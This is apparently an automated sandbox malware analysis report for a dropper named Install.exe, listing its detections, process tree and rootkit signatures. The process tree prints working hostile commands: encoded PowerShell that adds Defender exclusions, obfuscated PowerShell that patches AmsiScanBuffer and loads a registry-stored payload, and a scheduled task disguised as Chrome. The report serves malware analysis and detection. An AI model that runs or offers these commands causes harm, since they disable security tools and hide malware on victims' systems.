Edit tour

Windows Analysis Report
Install.exe

Overview

General Information

Sample Name:	Install.exe
Analysis ID:	597646
MD5:	280bfd5ea1f41586ea0ef60ee44bc8db
SHA1:	57aa866f42bccbaceed938390001148323d033c1
SHA256:	a6ca5523fce6a4a43964319c35ecb868186465309e9226ab07c158519a5ef6f9
Tags:	exe
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Multi AV Scanner detection for dropped file

Hooks registry keys query functions (used to hide registry keys)

Uses nslookup.exe to query domains

Encrypted powershell cmdline option found

Allocates memory in foreign processes

Creates files in the system32 config directory

Hooks processes query functions (used to hide processes)

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Suspicious Svchost Process

Creates a thread in another existing process (thread injection)

Hooks files or directories query functions (used to hide files and directories)

Uses schtasks.exe or at.exe to add and modify task schedules

Found suspicious powershell code related to unpacking or dynamic code loading

Writes to foreign memory regions

.NET source code references suspicious native API functions

Very long command line found

Modifies the prolog of user mode functions (user mode inline hooks)

Obfuscated command line found

Machine Learning detection for dropped file

Modifies the context of a thread in another process (thread injection)

Potential dropper URLs found in powershell memory

Antivirus or Machine Learning detection for unpacked file

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

HTTP GET or POST without a user agent

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

PE file contains strange resources

Drops PE files

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Contains functionality for read data from the clipboard

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Deletes files inside the Windows folder

Contains functionality to shutdown / reboot the system

Creates files inside the system directory

PE file contains sections with non-standard names

Stores large binary data to the registry

Contains functionality to query CPU information (cpuid)

Creates job files (autostart)

Contains functionality to call native functions

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Enables debug privileges

PE file does not import any functions

Sample file is different than original file name gathered from version info

Extensive use of GetProcAddress (often used to hide API calls)

Found evasive API chain (may stop execution after accessing registry keys)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Sigma detected: Suspicious Execution of Powershell with Base64

Classification

Process Tree

System is w10x64

Install.exe (PID: 6752 cmdline: "C:\Users\user\Desktop\Install.exe" MD5: 280BFD5EA1F41586EA0EF60EE44BC8DB)

ChiefKeefofficialnaxyi_crypted(6).exe (PID: 6820 cmdline: C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe MD5: D55DC38B4EE6BED2168E74194533C572)

conhost.exe (PID: 6828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

AppLaunch.exe (PID: 6900 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe MD5: 6807F903AC06FF7E1670181378690B22)

34432.exe (PID: 6836 cmdline: C:\Users\user\AppData\Roaming\34432.exe MD5: 04F6704BD3AB97905A497BAF3D7FDB3C)

cmd.exe (PID: 7012 cmdline: "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 7020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 7048 cmdline: powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" MD5: 95000560239032BC68B4C2FDFCDEF913)

powershell.exe (PID: 6856 cmdline: powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" MD5: 95000560239032BC68B4C2FDFCDEF913)

nslookup.exe (PID: 7056 cmdline: C:\Windows\System32\nslookup.exe MD5: AF1787F1DBE0053D74FC687E7233F8CE)

cmd.exe (PID: 5412 cmdline: cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "chrome" /tr "C:\Users\user\AppData\Roaming\Chrome\chrome.exe MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 1584 cmdline: schtasks /create /f /sc onlogon /rl highest /tn "chrome" /tr "C:\Users\user\AppData\Roaming\Chrome\chrome.exe" MD5: 838D346D1D28F00783B7A6C6BD03A0DA)

cmd.exe (PID: 6552 cmdline: cmd" cmd /c "C:\Users\user\AppData\Roaming\Chrome\chrome.exe MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

chrome.exe (PID: 5460 cmdline: C:\Users\user\AppData\Roaming\Chrome\chrome.exe MD5: 04F6704BD3AB97905A497BAF3D7FDB3C)

cmd.exe (PID: 6892 cmdline: "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 5728 cmdline: powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" MD5: 95000560239032BC68B4C2FDFCDEF913)

powershell.exe (PID: 6372 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:oBYZxpoBuJDg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hCPAJCDcAnFqJq,[Parameter(Position=1)][Type]$NibVxWxTFc)$qKHXRLjxcQb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$qKHXRLjxcQb.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$hCPAJCDcAnFqJq).SetImplementationFlags('Runtime,Managed');$qKHXRLjxcQb.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$NibVxWxTFc,$hCPAJCDcAnFqJq).SetImplementationFlags('Runtime,Managed');Write-Output $qKHXRLjxcQb.CreateType();}$uYKrZWxknTiUv=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$SpNyfScDlNPPHB=$uYKrZWxknTiUv.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$RRmRtbQVOsCwqbtFCRP=oBYZxpoBuJDg @([String])([IntPtr]);$CSrLsWTvUKtnfJeCoYnQHQ=oBYZxpoBuJDg @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$LbwxtlPJWDL=$uYKrZWxknTiUv.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$UsbtvKZkuSsHuw=$SpNyfScDlNPPHB.Invoke($Null,@([Object]$LbwxtlPJWDL,[Object]('Load'+'LibraryA')));$GBWVSxTZRtiWMYLEL=$SpNyfScDlNPPHB.Invoke($Null,@([Object]$LbwxtlPJWDL,[Object]('Vir'+'tual'+'Pro'+'tect')));$zcmbglj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UsbtvKZkuSsHuw,$RRmRtbQVOsCwqbtFCRP).Invoke('a'+'m'+'si.dll');$NtWqUAjxRFzIehWzj=$SpNyfScDlNPPHB.Invoke($Null,@([Object]$zcmbglj,[Object]('Ams'+'iSc'+'an'+'Buffer')));$QZnCEHiAlz=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GBWVSxTZRtiWMYLEL,$CSrLsWTvUKtnfJeCoYnQHQ).Invoke($NtWqUAjxRFzIehWzj,[uint32]8,4,[ref]$QZnCEHiAlz);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$NtWqUAjxRFzIehWzj,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GBWVSxTZRtiWMYLEL,$CSrLsWTvUKtnfJeCoYnQHQ).Invoke($NtWqUAjxRFzIehWzj,[uint32]8,0x20,[ref]$QZnCEHiAlz);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('nslookstager')).EntryPoint.Invoke($Null,$Null)" MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 6028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 6940 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:JcVEStQtPhkP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jwjRgZFzaeZBQB,[Parameter(Position=1)][Type]$jXrdWylJno)$JkETjFsAcrF=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$JkETjFsAcrF.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$jwjRgZFzaeZBQB).SetImplementationFlags('Runtime,Managed');$JkETjFsAcrF.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$jXrdWylJno,$jwjRgZFzaeZBQB).SetImplementationFlags('Runtime,Managed');Write-Output $JkETjFsAcrF.CreateType();}$lPmVEIqLxWSBJ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$oknnqNPEawtCof=$lPmVEIqLxWSBJ.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$PfTqTVeTqNbzEtTZAwA=JcVEStQtPhkP @([String])([IntPtr]);$FBhryrsEcCEQMAYVVFmrjj=JcVEStQtPhkP @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$gdWNaSIjpXI=$lPmVEIqLxWSBJ.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$MwCkRVFOfjwTFV=$oknnqNPEawtCof.Invoke($Null,@([Object]$gdWNaSIjpXI,[Object]('Load'+'LibraryA')));$PwfBMMcphOddVTLUY=$oknnqNPEawtCof.Invoke($Null,@([Object]$gdWNaSIjpXI,[Object]('Vir'+'tual'+'Pro'+'tect')));$FyAgKxj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MwCkRVFOfjwTFV,$PfTqTVeTqNbzEtTZAwA).Invoke('a'+'m'+'si.dll');$GiLFGjttEZsjytHxc=$oknnqNPEawtCof.Invoke($Null,@([Object]$FyAgKxj,[Object]('Ams'+'iSc'+'an'+'Buffer')));$XarcXAurwd=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PwfBMMcphOddVTLUY,$FBhryrsEcCEQMAYVVFmrjj).Invoke($GiLFGjttEZsjytHxc,[uint32]8,4,[ref]$XarcXAurwd);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$GiLFGjttEZsjytHxc,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PwfBMMcphOddVTLUY,$FBhryrsEcCEQMAYVVFmrjj).Invoke($GiLFGjttEZsjytHxc,[uint32]8,0x20,[ref]$XarcXAurwd);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('nslookstager')).EntryPoint.Invoke($Null,$Null)" MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 2280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

dllhost.exe (PID: 2324 cmdline: C:\Windows\System32\dllhost.exe /Processid:{bb7b2400-d282-40c3-8b5b-9f36c353d0f9} MD5: 2528137C6745C4EADD87817A1909677E)

winlogon.exe (PID: 572 cmdline: winlogon.exe MD5: F9017F2DC455AD373DF036F5817A8870)

lsass.exe (PID: 612 cmdline: C:\Windows\system32\lsass.exe MD5: 317340CD278A374BCEF6A30194557227)

svchost.exe (PID: 724 cmdline: c:\windows\system32\svchost.exe -k dcomlaunch -p -s PlugPlay MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 900 cmdline: c:\windows\system32\svchost.exe -k dcomlaunch -p -s LSM MD5: 32569E403279B3FD2EDB7EBD036273FA)

dwm.exe (PID: 984 cmdline: dwm.exe MD5: 70073A05B2B43FFB7A625708BB29E7C7)

chrome.exe (PID: 6564 cmdline: C:\Users\user\AppData\Roaming\Chrome\chrome.exe MD5: 04F6704BD3AB97905A497BAF3D7FDB3C)

cmd.exe (PID: 3784 cmdline: "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 4916 cmdline: powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" MD5: 95000560239032BC68B4C2FDFCDEF913)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\34432.exe	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x240fc9:$name: ConfuserEx 0x240951:$compile: AssemblyTitle
C:\Users\user\AppData\Roaming\Chrome\chrome.exe	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x240fc9:$name: ConfuserEx 0x240951:$compile: AssemblyTitle

Unpacked PEs

Source	Rule	Description	Author	Strings
33.2.chrome.exe.fa0000.0.unpack	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x240fc9:$name: ConfuserEx 0x240951:$compile: AssemblyTitle
30.0.chrome.exe.20000.0.unpack	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x240fc9:$name: ConfuserEx 0x240951:$compile: AssemblyTitle
30.2.chrome.exe.20000.0.unpack	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x240fc9:$name: ConfuserEx 0x240951:$compile: AssemblyTitle
4.0.34432.exe.770000.0.unpack	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x240fc9:$name: ConfuserEx 0x240951:$compile: AssemblyTitle
4.2.34432.exe.770000.0.unpack	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x240fc9:$name: ConfuserEx 0x240951:$compile: AssemblyTitle
33.0.chrome.exe.fa0000.0.unpack	SUSP_NET_NAME_ConfuserEx	Detects ConfuserEx packed file	Arnim Rupp	0x240fc9:$name: ConfuserEx 0x240951:$compile: AssemblyTitle
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Svchost Process

Source: Process started

Author: Florian Roth: Data: Command: c:\windows\system32\svchost.exe -k dcomlaunch -p -s PlugPlay, CommandLine: c:\windows\system32\svchost.exe -k dcomlaunch -p -s PlugPlay, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\System32\dllhost.exe /Processid:{bb7b2400-d282-40c3-8b5b-9f36c353d0f9}, ParentImage: C:\Windows\System32\dllhost.exe, ParentProcessId: 2324, ParentProcessName: dllhost.exe, ProcessCommandLine: c:\windows\system32\svchost.exe -k dcomlaunch -p -s PlugPlay, ProcessId: 724, ProcessName: svchost.exe

Source: DNS query

Author: Brandon George (blog post), Thomas Patzke (rule): Data: Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe, QueryName: ip-api.com

Source: Process started

Author: frack113: Data: Command: powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" , CommandLine: powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" , CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7012, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" , ProcessId: 7048, ProcessName: powershell.exe

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\Desktop\Install.exe, ProcessId: 6752, TargetFilename: C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" , CommandLine: powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" , CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7012, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" , ProcessId: 7048, ProcessName: powershell.exe

Source: Pipe created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132928152596023668.7048.DefaultAppDomain.powershell

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\34432.exe	Avira: detection malicious, Label: HEUR/AGEN.1221921
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Avira: detection malicious, Label: HEUR/AGEN.1221921

Multi AV Scanner detection for submitted file

Source: Install.exe	Virustotal: Detection: 41%			Perma Link
Source: Install.exe	ReversingLabs: Detection: 73%

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\34432.exe	Virustotal: Detection: 34%	Perma Link
Source: C:\Users\user\AppData\Roaming\34432.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe	Virustotal: Detection: 50%	Perma Link
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	ReversingLabs: Detection: 76%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\34432.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Joe Sandbox ML: detected

Source: 22.0.nslookup.exe.140000000.2.unpack	Avira: Label: TR/Injector.vwktt
Source: 39.0.dllhost.exe.140000000.10.unpack	Avira: Label: RKIT/Agent.avskt
Source: 22.0.nslookup.exe.140000000.0.unpack	Avira: Label: TR/Injector.vwktt
Source: 22.0.nslookup.exe.140000000.8.unpack	Avira: Label: TR/Injector.vwktt
Source: 39.0.dllhost.exe.140000000.3.unpack	Avira: Label: RKIT/Agent.avskt
Source: 22.0.nslookup.exe.140000000.1.unpack	Avira: Label: TR/Injector.vwktt
Source: 39.0.dllhost.exe.140000000.4.unpack	Avira: Label: RKIT/Agent.avskt
Source: 22.0.nslookup.exe.140000000.5.unpack	Avira: Label: TR/Injector.vwktt
Source: 39.0.dllhost.exe.140000000.1.unpack	Avira: Label: RKIT/Agent.avskt
Source: 39.0.dllhost.exe.140000000.8.unpack	Avira: Label: RKIT/Agent.avskt
Source: 22.2.nslookup.exe.140000000.0.unpack	Avira: Label: TR/Injector.vwktt
Source: 39.0.dllhost.exe.140000000.5.unpack	Avira: Label: RKIT/Agent.avskt
Source: 39.2.dllhost.exe.140000000.0.unpack	Avira: Label: RKIT/Agent.avskt
Source: 39.0.dllhost.exe.140000000.12.unpack	Avira: Label: RKIT/Agent.avskt
Source: 22.0.nslookup.exe.140000000.6.unpack	Avira: Label: TR/Injector.vwktt
Source: 39.0.dllhost.exe.140000000.0.unpack	Avira: Label: RKIT/Agent.avskt
Source: 22.0.nslookup.exe.140000000.10.unpack	Avira: Label: TR/Injector.vwktt
Source: 39.0.dllhost.exe.140000000.6.unpack	Avira: Label: RKIT/Agent.avskt
Source: 22.0.nslookup.exe.140000000.12.unpack	Avira: Label: TR/Injector.vwktt
Source: 22.0.nslookup.exe.140000000.3.unpack	Avira: Label: TR/Injector.vwktt
Source: 22.0.nslookup.exe.140000000.4.unpack	Avira: Label: TR/Injector.vwktt
Source: 39.0.dllhost.exe.140000000.2.unpack	Avira: Label: RKIT/Agent.avskt

Source: Install.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: Install.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: x64\Release\r77-x64.pdb source: svchost.exe
